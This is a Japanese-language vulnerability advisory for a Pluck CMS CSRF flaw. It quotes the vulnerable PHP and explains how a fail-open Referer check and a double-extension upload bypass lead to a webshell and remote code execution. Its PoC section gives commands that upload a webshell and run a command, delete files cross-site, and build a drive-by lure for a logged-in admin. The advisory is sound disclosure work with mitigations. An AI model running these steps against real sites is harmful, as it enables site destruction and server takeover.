
Pluck CMS CSRF のアドバイザリと Python PoC: フェイルオープンな Referer チェックと二重拡張子アップロードにより、ウェブシェルの展開とリモートコード実行が可能になります。
| CVE ID | CVE-2026-70376 |
| トラッキングID | PT-2026-68036 |
| 製品 | pluck-cms/pluck — Pluck CMS(フラットファイルPHP) |
| 影響を受けるバージョン | 4.7.x から 4.7.21-dev / 現在の master |
| 脆弱性 | CWE-352 (CSRF) · CWE-434 (無制限アップロード、増幅要因) |
| CVSS v3.1 | 8.0 — High · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H |
| 攻撃ベクトル | ネットワーク · 権限不要 · 管理者のページ訪問1回 (UI:R) |
| 影響 | コンテンツ破壊/DoS、保存型コンテンツ注入、Apache/mod_php上でのRCE |
| 導入時期 | コミット f79f916(2019年12月)— 以降、この脆弱なロジックが存在 |
| 研究者 | Ilhomjon Rustamov (@IlhomjonR) |
Pluckの管理パネルには、コードベースのどこにもリクエストごとのCSRFトークンがありません。
すべての状態変更を伴う管理アクションは単一の関数 requestedByTheSameDomain() によって保護されており、その唯一の防御はRefererホストの比較です。そしてこのチェックはフェイルオープンです。Referer ヘッダーがまったくないリクエストが届くと、関数は true を返し、アクションが許可されます。
攻撃者のページは Referer を送信するかどうかを完全に制御できるため(<meta name="referrer" content="no-referrer">)、ログイン済みの管理者が悪意のあるページを訪問すると、クロスサイトで特権アクションを強制的に実行させられます。
いくつかの破壊的アクションはGETで実行され、Pluckは PHPSESSID に**SameSite 属性を設定していません**(ブラウザは SameSite=Lax を適用するため、トップレベルのGETナビゲーションではCookieが引き続き送信されます)。そのため、デフォルトのブラウザ設定でもクロスサイトで到達可能です。
さらにアップロードフィルターの脆弱性により、同じCSRFで shell.php.jpg という二重拡張子のファイルを仕掛けることができ、Apache/mod_phpホストではCSRFがドライブバイRCEに変わります。
data/inc/functions.admin.phpfunction requestedByTheSameDomain() {
if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
else { $myDomain = NULL; }
if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
else { $requestsSource = NULL; }
$referelDomain = parse_url($requestsSource, PHP_URL_HOST);
if ($myDomain != NULL && $requestsSource != NULL &&
(strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
return true; // Referer host == our host -> allow
} elseif ($myDomain == NULL || $requestsSource == NULL) {
show_error("Be carefull with clicking links, ...", 1);
return true; // Referer ABSENT -> FAIL OPEN -> allow <==
} else {
return false; // Referer host mismatch -> block
}
}
外部のRefererを持つクロスサイトリクエストは正しく拒否されます(else ブランチ)。これにより誤った安心感が生まれますが、攻撃者は単にRefererを抑制してフェイルオープンのブランチに到達させれば、リクエストは許可されます。このチェックの背後にはトークンレイヤーはありません。
このゲートは admin.php で一度適用され、アクションスイッチ全体で信頼されています:
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
switch ($_GET['action']) {
case 'deletefile': include_once('data/inc/deletefile.php'); break;
case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
case 'deletepage': include_once('data/inc/deletepage.php'); break;
case 'module_delete': /* ... */
case 'images': include_once('data/inc/images.php'); break; // upload
// ...
}
}
SameSite なし(増幅要因)Pluckは session_set_cookie_params() を一切呼び出さないため、PHPSESSID は空のデフォルト設定を引き継ぎます → ブラウザは SameSite=Lax を適用するため、トップレベルのGETナビゲーションではCookieが引き続き送信されます。したがって、GETで公開されているアクション(deletefile、deleteimage、deletepage、module_delete、theme_delete、logout)は、1回のページ訪問で偽造可能です。
data/inc/images.php(RCE増幅要因)if (in_array($_FILES['imagefile']['type'], // client-controlled MIME
array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
$imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
show_error($lang['general']['upload_failed'], 1); // only checks LAST 4 chars
} else {
copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
// ...
}
}
どちらのチェックも簡単にバイパスできます:
$_FILES[...]['type'])、image/jpeg に設定するだけです。shell.php.jpg は .jpg で終わり、チェックを通過します。ファイルは images/shell.php.jpg として書き込まれます。複数拡張子を処理するApache/mod_phpホストでは、PHPとして実行されます。
認証済み管理者のページ訪問1回 — クリック不要。
flowchart LR
A[Admin logged into Pluck] --> B[Opens attacker page]
B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
C --> D[Top-level nav / auto-form to admin.php]
D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
F --> G1[deletefile / deletepage -> destruction / DoS]
F --> G2[editpage -> stored-content injection]
F --> G3["images upload -> shell.php.jpg -> RCE"]偽造可能なアクション:
| アクション | メソッド | 影響 |
|---|---|---|
admin.php?action=deletefile&var1=<f> | GET | 任意のアップロード済みファイルを削除 |
admin.php?action=deletepage&... | GET | サイトのページを削除(DoS) |
admin.php?action=module_delete&... | GET | モジュールを削除 |
admin.php?action=logout | GET | 管理者をログアウトさせる |
admin.php?action=editpage | POST | 保存型ページコンテンツを注入 |
admin.php?action=images(アップロード) | POST | shell.php.jpg を仕掛ける → RCE |
動作するPoCツールキットは exploit/ にあります:
pluck_csrf_rce.py — フェイルオープンのロジックを実証したり、CSRFでWebシェルをアップロードしてコマンドを実行したり、CSRFでファイルを削除したり、おとりページを生成したりできます。csrf_poc.html — 被害者の管理者に配信されるスタンドアロンのドライブバイページです。pip install requests
# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe
# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
# -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id
# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt
# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html
Pythonのrequestsは意図的に**Referer を送信しません**。これは no-referrer ポリシー下の被害者ブラウザを正確に再現しています。このロジックを裏付けるHTTPレイヤーでの非対称性:
Referer: http://attacker.example -> action BLOCKED (else branch)
(no Referer header) -> action SUCCEEDED *** CSRF bypassed ***
⚠️
.php.jpg→ RCE のステップには、複数拡張子のファイルをPHPとして実行するApache/mod_phpホストが必要です。この設定がない環境でも、CSRFアップロード自体は成功し、破壊的なdelete/deletepageプリミティブには影響しません。CSRFが核心のバグであり、RCEは増幅要因です。
Referer / Origin が存在しないことを信頼できないものとして扱います。Origin ヘッダーを優先し、欠落または不一致の場合は拒否します。deletefile、deletepage、logout などをPOSTに移行し、SameSite=Lax が基本レベルの保護を提供できるようにします。session_set_cookie_params() で SameSite=Strict(または Lax)、HttpOnly、Secure を設定します。| 日付 | イベント |
|---|---|
| 2019-12 | 脆弱な requestedByTheSameDomain() ロジックが導入される(f79f916) |
| 2026-07-08 | ソースコード監査で発見。エンドツーエンドのPoCを検証 |
| 2026-08-10 | アドバイザリを作成(PT-2026-68036) |
| 2026-08-12 | CVE-2026-70376 が採番。アドバイザリとPoCを公開 |
本資料は教育および防御目的、および許可を得たセキュリティテストのみを目的として公開されています。所有していないシステム、または明示的な書面によるテスト許可がないシステムに対して使用しないでください。著者は不正使用に対する責任を負いません。
発見・文書化: @IlhomjonR · CVE-2026-70376 · PT-2026-68036